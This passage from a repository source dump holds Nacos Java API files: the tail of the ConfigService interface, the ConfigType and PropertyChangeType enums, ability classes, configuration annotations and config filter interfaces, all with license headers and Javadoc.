NacosException;\n    \n    /**\n     * Add a listener to the configuration, after the server modified the configuration, the client will use the\n     * incoming listener callback. Recommended asynchronous processing, the application can implement the getExecutor\n     * method in the ManagerListener, provide a thread pool of execution. If not provided, use the main thread callback, May\n     * block other configurations or be blocked by other configurations.\n     *\n     * @param dataId   dataId\n     * @param group    group\n     * @param listener listener\n     * @throws NacosException NacosException\n     */\n    void addListener(String dataId, String group, Listener listener) throws NacosException;\n    \n    /**\n     * Publish config.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param content content\n     * @return Whether publish\n     * @throws NacosException NacosException\n     */\n    boolean publishConfig(String dataId, String group, String content) throws NacosException;\n    \n    \n    /**\n     * Publish config.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param content content\n     * @param type    config type {@link ConfigType}\n     * @return Whether publish\n     * @throws NacosException NacosException\n     */\n    boolean publishConfig(String dataId, String group, String content, String type) throws NacosException;\n    \n    /**\n     * Cas Publish config.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param content content\n     * @param casMd5  casMd5 prev content's md5 to cas.\n     * @return Whether publish\n     * @throws NacosException NacosException\n     */\n    boolean publishConfigCas(String dataId, String group, String content, String casMd5) throws NacosException;\n    \n    /**\n     * Cas Publish config.\n     *\n     * @param dataId  dataId\n     * @param group   group\n     * @param content content\n     * @param casMd5  casMd5 prev content's md5 to cas.\n     * @param type    config type {@link ConfigType}\n     * @return Whether publish\n     * @throws NacosException NacosException\n     */\n    boolean publishConfigCas(String dataId, String group, String content, String casMd5, String type)\n            throws NacosException;\n    \n    /**\n     * Remove config.\n     *\n     * @param dataId dataId\n     * @param group  group\n     * @return whether remove\n     * @throws NacosException NacosException\n     */\n    boolean removeConfig(String dataId, String group) throws NacosException;\n    \n    /**\n     * Remove listener.\n     *\n     * @param dataId   dataId\n     * @param group    group\n     * @param listener listener\n     */\n    void removeListener(String dataId, String group, Listener listener);\n    \n    /**\n     * Get server status.\n     *\n     * @return whether health\n     */\n    String getServerStatus();\n\n    /**\n     * add config filter.\n     * It is recommended to use {@link com.alibaba.nacos.api.config.filter.AbstractConfigFilter} to expand the filter.\n     *\n     * @param configFilter filter\n     * @since 2.3.0\n     */\n    void addConfigFilter(IConfigFilter configFilter);\n    \n    /**\n     * Shutdown the resource service.\n     *\n     * @throws NacosException exception.\n     */\n    void shutDown() throws NacosException;\n    \n    /**\n     * Add a fuzzy listener to the configuration. After the server modifies the configuration matching the specified\n     * fixed group name, the client will utilize the incoming fuzzy listener callback. Fuzzy listeners allow for\n     * pattern-based subscription to configurations, where the fixed group name represents the group and dataId patterns\n     * specified for subscription.\n     *\n     * @param groupNamePattern The  group name pattern representing the group and dataId patterns to subscribe to.\n     * @param watcher       The fuzzy watcher to be added.\n     * @throws NacosException NacosException\n     * @since 3.0\n     */\n    void fuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher watcher) throws NacosException;\n    \n    /**\n     * Add a fuzzy listener to the configuration. After the server modifies the configuration matching the specified\n     * dataId pattern and fixed group name, the client will utilize the incoming fuzzy listener callback. Fuzzy\n     * listeners allow for pattern-based subscription to configurations.\n     *\n     * @param dataIdPattern  The pattern to match dataIds for subscription.\n     * @param groupNamePattern The pattern to match group name representing the group and dataId patterns to subscribe to.\n     * @param watcher       The fuzzy listener to be added.\n     * @throws NacosException NacosException\n     * @since 3.0\n     */\n    void fuzzyWatch(String dataIdPattern, String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException;\n    \n    /**\n     * Add a fuzzy listener to the configuration and retrieve all configs that match the specified fixed group name.\n     * Fuzzy listeners allow for pattern-based subscription to configs, where the fixed group name represents the group\n     * and dataId patterns specified for subscription.\n     *\n     * @param groupNamePattern The  group name pattern representing the group and dataId patterns to subscribe to.\n     * @param watcher       The fuzzy watcher to be added.\n     * @return CompletableFuture containing collection of configs that match the specified fixed group name.\n     * @throws NacosException NacosException\n     * @since 3.0\n     */\n    Future<Set<String>> fuzzyWatchWithGroupKeys(String groupNamePattern,\n            FuzzyWatchEventWatcher watcher) throws NacosException;\n    \n    /**\n     * Add a fuzzy listener to the configuration and retrieve all configs that match the specified dataId pattern and\n     * fixed group name. Fuzzy listeners allow for pattern-based subscription to configs.\n     *\n     * @param dataIdPattern  The pattern to match dataIds for subscription.\n     * @param groupNamePattern The group name pattern representing the group and dataId patterns to subscribe to.\n     * @param watcher       The fuzzy watcher to be added.\n     * @return CompletableFuture containing collection of configs that match the specified dataId pattern and fixed\n     * group name.\n     * @throws NacosException NacosException\n     * @since 3.0\n     */\n    Future<Set<String>> fuzzyWatchWithGroupKeys(String dataIdPattern, String groupNamePattern,\n            FuzzyWatchEventWatcher watcher) throws NacosException;\n    \n    /**\n     * Cancel fuzzy listen and remove the event listener for a specified fixed group name.\n     *\n     * @param groupNamePattern The  group name pattern for fuzzy watch.\n     * @param watcher       The event watcher to be removed.\n     * @throws NacosException If an error occurs during the cancellation process.\n     * @since 3.0\n     */\n    void cancelFuzzyWatch(String groupNamePattern, FuzzyWatchEventWatcher watcher) throws NacosException;\n    \n    /**\n     * Cancel fuzzy listen and remove the event listener for a specified service name pattern and fixed group name.\n     *\n     * @param dataIdPattern   The pattern to match dataId for fuzzy watch.\n     * @param groupNamePattern The group name pattern for fuzzy watch.\n     * @param watcher       The event listener to be removed.\n     * @throws NacosException If an error occurs during the cancellation process.\n     * @since 3.0\n     */\n    void cancelFuzzyWatch(String dataIdPattern, String groupNamePattern, FuzzyWatchEventWatcher watcher)\n            throws NacosException;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/ConfigType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\nimport com.alibaba.nacos.api.utils.StringUtils;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Config data type.\n *\n * @author liaochuntao\n **/\npublic enum ConfigType {\n    \n    /**\n     * config type is \"properties\".\n     */\n    PROPERTIES(\"properties\"),\n    \n    /**\n     * config type is \"xml\".\n     */\n    XML(\"xml\"),\n    \n    /**\n     * config type is \"json\".\n     */\n    JSON(\"json\"),\n    \n    /**\n     * config type is \"text\".\n     */\n    TEXT(\"text\"),\n    \n    /**\n     * config type is \"html\".\n     */\n    HTML(\"html\"),\n    \n    /**\n     * config type is \"yaml\".\n     */\n    YAML(\"yaml\"),\n    \n    /**\n     * config type is \"toml\".\n     */\n    TOML(\"toml\"),\n    \n    /**\n     * not a real type.\n     */\n    UNSET(\"unset\");\n    \n    private final String type;\n    \n    private static final Map<String, ConfigType> LOCAL_MAP = new HashMap<>();\n    \n    static {\n        for (ConfigType configType : values()) {\n            LOCAL_MAP.put(configType.getType(), configType);\n        }\n    }\n    \n    ConfigType(String type) {\n        this.type = type;\n    }\n    \n    public String getType() {\n        return type;\n    }\n    \n    public static ConfigType getDefaultType() {\n        return TEXT;\n    }\n    \n    /**\n     * check input type is valid.\n     *\n     * @param type config type\n     * @return it the type valid\n     */\n    public static Boolean isValidType(String type) {\n        if (StringUtils.isBlank(type)) {\n            return false;\n        }\n        return null != LOCAL_MAP.get(type);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/PropertyChangeType.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config;\n\n/**\n * Property Change Type.\n *\n * @author rushsky518\n */\npublic enum PropertyChangeType {\n    /**\n     * add.\n     */\n    ADDED,\n    /**\n     * modified.\n     */\n    MODIFIED,\n    /**\n     * deleted.\n     */\n    DELETED\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/ability/ClientConfigAbility.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.ability;\n\nimport java.io.Serializable;\n\n/**\n * config abilities of nacos client.\n *\n * @author liuzunfei\n * @version $Id: ClientConfigAbility.java, v 0.1 2021年01月24日 00:09 AM liuzunfei Exp $\n */\npublic class ClientConfigAbility implements Serializable {\n\n    private static final long serialVersionUID = 2442741206510725737L;\n\n    /**\n     * support remote metrics get.\n     */\n    private boolean supportRemoteMetrics;\n    \n    public boolean isSupportRemoteMetrics() {\n        return supportRemoteMetrics;\n    }\n    \n    public void setSupportRemoteMetrics(boolean supportRemoteMetrics) {\n        this.supportRemoteMetrics = supportRemoteMetrics;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/ability/ServerConfigAbility.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.ability;\n\nimport java.io.Serializable;\nimport java.util.Objects;\n\n/**\n * config abilities of nacos server.\n *\n * @author liuzunfei\n * @version $Id: ServerConfigAbility.java, v 0.1 2021年01月24日 00:09 AM liuzunfei Exp $\n */\npublic class ServerConfigAbility implements Serializable {\n\n    private static final long serialVersionUID = -4976152499731684230L;\n\n    /**\n     * support remote metrics get.\n     */\n    private boolean supportRemoteMetrics;\n    \n    public boolean isSupportRemoteMetrics() {\n        return supportRemoteMetrics;\n    }\n    \n    public void setSupportRemoteMetrics(boolean supportRemoteMetrics) {\n        this.supportRemoteMetrics = supportRemoteMetrics;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ServerConfigAbility that = (ServerConfigAbility) o;\n        return supportRemoteMetrics == that.supportRemoteMetrics;\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(supportRemoteMetrics);\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/annotation/NacosConfigListener.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.annotation;\n\nimport com.alibaba.nacos.api.annotation.NacosProperties;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.config.convert.NacosConfigConverter;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\nimport static com.alibaba.nacos.api.common.Constants.DEFAULT_GROUP;\n\n/**\n * Annotation that marks a method as a listener for Nacos Config change.\n *\n * @author <a href=\"mailto:mercyblitz@gmail.com\">Mercy</a>\n * @since 0.2.0\n */\n@Retention(RetentionPolicy.RUNTIME)\n@Target(ElementType.METHOD)\n@Documented\npublic @interface NacosConfigListener {\n    \n    /**\n     * Nacos Group ID.\n     *\n     * @return default value {@link Constants#DEFAULT_GROUP};\n     */\n    String groupId() default DEFAULT_GROUP;\n    \n    /**\n     * Nacos Data ID.\n     *\n     * @return required value.\n     */\n    String dataId();\n    \n    /**\n     * Nacos Config type.\n     *\n     * @return default value is {@link ConfigType#UNSET}\n     */\n    ConfigType type() default ConfigType.UNSET;\n    \n    /**\n     * Specify {@link NacosConfigConverter Nacos configuraion convertor} class to convert target type instance.\n     *\n     * @return The implementation class of {@link NacosConfigConverter}\n     */\n    Class<? extends NacosConfigConverter> converter() default NacosConfigConverter.class;\n    \n    /**\n     * The {@link NacosProperties} attribute, If not specified, it will use global Nacos Properties.\n     *\n     * @return the default value is {@link NacosProperties}\n     */\n    NacosProperties properties() default @NacosProperties;\n    \n    /**\n     * Maximum timeout value of execution in milliseconds, which is used to prevent long-time blocking execution\n     * impacting others.\n     *\n     * @return default value is 1000\n     */\n    long timeout() default 1000L;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/annotation/NacosConfigurationProperties.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.annotation;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.annotation.NacosProperties;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.ConfigType;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\nimport static com.alibaba.nacos.api.common.Constants.DEFAULT_GROUP;\n\n/**\n * An annotation for Nacos configuration Properties for binding POJO as Properties Object.\n *\n * @author <a href=\"mailto:mercyblitz@gmail.com\">Mercy</a>\n * @see PropertyKeyConst\n * @since 0.2.0\n */\n@Target({ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface NacosConfigurationProperties {\n    \n    /**\n     * config prefix name.\n     *\n     * @return default value is <code>\"\"</code>\n     */\n    String prefix() default \"\";\n    \n    /**\n     * Nacos Group ID.\n     *\n     * @return default value {@link Constants#DEFAULT_GROUP};\n     */\n    String groupId() default DEFAULT_GROUP;\n    \n    /**\n     * Nacos Data ID.\n     *\n     * @return required value.\n     */\n    String dataId();\n    \n    /**\n     * config style.\n     *\n     * @return default value is {@link ConfigType#UNSET}\n     */\n    ConfigType type() default ConfigType.UNSET;\n    \n    /**\n     * It indicates the properties of current doBind bean is auto-refreshed when Nacos configuration is changed.\n     *\n     * @return default value is <code>false</code>\n     */\n    boolean autoRefreshed() default false;\n    \n    /**\n     * Flag to indicate that when binding to this object invalid fields should be ignored. Invalid means invalid\n     * according to the binder that is used, and usually this means fields of the wrong type (or that cannot be coerced\n     * into the correct type).\n     *\n     * @return the flag value (default false)\n     */\n    boolean ignoreInvalidFields() default false;\n    \n    /**\n     * Flag to indicate that when binding to this object fields with periods in their names should be ignored.\n     *\n     * @return the flag value (default false)\n     */\n    boolean ignoreNestedProperties() default false;\n    \n    /**\n     * Flag to indicate that when binding to this object unknown fields should be ignored. An unknown field could be a\n     * sign of a mistake in the Properties.\n     *\n     * @return the flag value (default true)\n     */\n    boolean ignoreUnknownFields() default true;\n    \n    /**\n     * Flag to indicate that an exception should be raised if a Validator is available and validation fails. If it is\n     * set to false, validation errors will be swallowed. They will be logged, but not propagated to the caller.\n     *\n     * @return the flag value (default true)\n     */\n    boolean exceptionIfInvalid() default true;\n    \n    /**\n     * The {@link NacosProperties} attribute, If not specified, it will use global Nacos Properties.\n     *\n     * @return the default value is {@link NacosProperties}\n     */\n    NacosProperties properties() default @NacosProperties;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/annotation/NacosIgnore.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * An annotation for ignore field from annotated {@link NacosConfigurationProperties} Properties Object.\n *\n * @author <a href=\"mailto:mercyblitz@gmail.com\">Mercy</a>\n * @see NacosConfigurationProperties\n * @see NacosProperty\n * @since 0.2.0\n */\n@Target({ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface NacosIgnore {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/annotation/NacosProperty.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * An annotation for Nacos Property name of  Nacos Configuration to bind a field from annotated {@link\n * NacosConfigurationProperties} Properties Object.\n *\n * @author <a href=\"mailto:mercyblitz@gmail.com\">Mercy</a>\n * @see NacosConfigurationProperties\n * @see NacosIgnore\n * @since 0.2.0\n */\n@Target({ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface NacosProperty {\n    \n    /**\n     * The property name of Nacos Configuration to bind a field.\n     *\n     * @return property name\n     */\n    String value();\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/annotation/NacosValue.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * Annotation which extends value to support auto-refresh.\n *\n * @author <a href=\"mailto:huangxiaoyu1018@gmail.com\">hxy1991</a>\n * @since 0.2.0\n */\n@Target({ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.ANNOTATION_TYPE})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface NacosValue {\n    \n    /**\n     * The actual value expression: e.g. \"#{systemProperties.myProp}\".\n     *\n     * @return value expression\n     */\n    String value();\n    \n    /**\n     * It indicates that the currently bound property is auto-refreshed when Nacos configuration is changed.\n     *\n     * @return default value is <code>false</code>\n     */\n    boolean autoRefreshed() default false;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/convert/NacosConfigConverter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.convert;\n\n/**\n * Nacos Config Converter.\n *\n * @param <T> the target type that wanted\n * @author <a href=\"mailto:mercyblitz@gmail.com\">Mercy</a>\n * @since 0.2.0\n */\npublic interface NacosConfigConverter<T> {\n    \n    /**\n     * can convert to be target type or not.\n     *\n     * @param targetType the type of target\n     * @return If can , return <code>true</code>, or <code>false</code>\n     */\n    boolean canConvert(Class<T> targetType);\n    \n    /**\n     * Convert the Nacos' config of type S to target type T.\n     *\n     * @param config the Nacos's config to convert, which must be an instance of S (never {@code null})\n     * @return the converted object, which must be an instance of T (potentially {@code null})\n     */\n    T convert(String config);\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/filter/AbstractConfigFilter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.filter;\n\n/**\n * Config Filter Interface default implementation.\n *\n * @author luyanbo(RobberPhex)\n */\npublic abstract class AbstractConfigFilter implements IConfigFilter {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/filter/IConfigContext.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.filter;\n\n/**\n * Config Context Interface.\n *\n * @author Nacos\n */\npublic interface IConfigContext {\n    \n    /**\n     * Get context param by key.\n     *\n     * @param key parameter key\n     * @return context\n     */\n    Object getParameter(String key);\n    \n    /**\n     * Set context param.\n     *\n     * @param key   key\n     * @param value value\n     */\n    void setParameter(String key, Object value);\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/filter/IConfigFilter.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.filter;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\nimport java.util.Properties;\n\n/**\n * Config Filter Interface.\n *\n * <p>DO NOT implement this interface directly, you should extend <code>AbstractConfigFilter</code>.\n *\n * @author Nacos\n * @see AbstractConfigFilter\n */\npublic interface IConfigFilter {\n    \n    /**\n     * Init.\n     *\n     * @param properties Filter Config\n     */\n    void init(Properties properties);\n    \n    /**\n     * do filter.\n     *\n     * @param request     request\n     * @param response    response\n     * @param filterChain filter Chain\n     * @throws NacosException exception\n     */\n    void doFilter(IConfigRequest request, IConfigResponse response, IConfigFilterChain filterChain)\n            throws NacosException;\n    \n    /**\n     * Get order.\n     *\n     * @return order number\n     */\n    int getOrder();\n    \n    /**\n     * Get filterName.\n     *\n     * @return filter name\n     */\n    String getFilterName();\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/filter/IConfigFilterChain.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.filter;\n\nimport com.alibaba.nacos.api.exception.NacosException;\n\n/**\n * Config Filter Chain Interface.\n *\n * @author Nacos\n */\npublic interface IConfigFilterChain {\n    \n    /**\n     * Filter action.\n     *\n     * @param request  request\n     * @param response response\n     * @throws NacosException NacosException\n     */\n    void doFilter(IConfigRequest request, IConfigResponse response) throws NacosException;\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/filter/IConfigRequest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.filter;\n\n/**\n * Config Request Interface.\n *\n * @author Nacos\n */\npublic interface IConfigRequest {\n    \n    /**\n     * put param.\n     *\n     * @param key   key\n     * @param value value\n     */\n    void putParameter(String key, Object value);\n    \n    /**\n     * get param.\n     *\n     * @param key key\n     * @return value\n     */\n    Object getParameter(String key);\n    \n    /**\n     * get config context.\n     *\n     * @return {@link IConfigContext}\n     */\n    IConfigContext getConfigContext();\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/filter/IConfigResponse.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.filter;\n\n/**\n * Config Response Interface.\n *\n * @author Nacos\n */\npublic interface IConfigResponse {\n    \n    /**\n     * get param.\n     *\n     * @param key key\n     * @return value\n     */\n    Object getParameter(String key);\n    \n    /**\n     * put param.\n     *\n     * @param key   key\n     * @param value value\n     */\n    void putParameter(String key, Object value);\n    \n    /**\n     * Get config context.\n     *\n     * @return configContext\n     */\n    IConfigContext getConfigContext();\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/config/listener/AbstractFuzzyWatchEventWatcher.java",
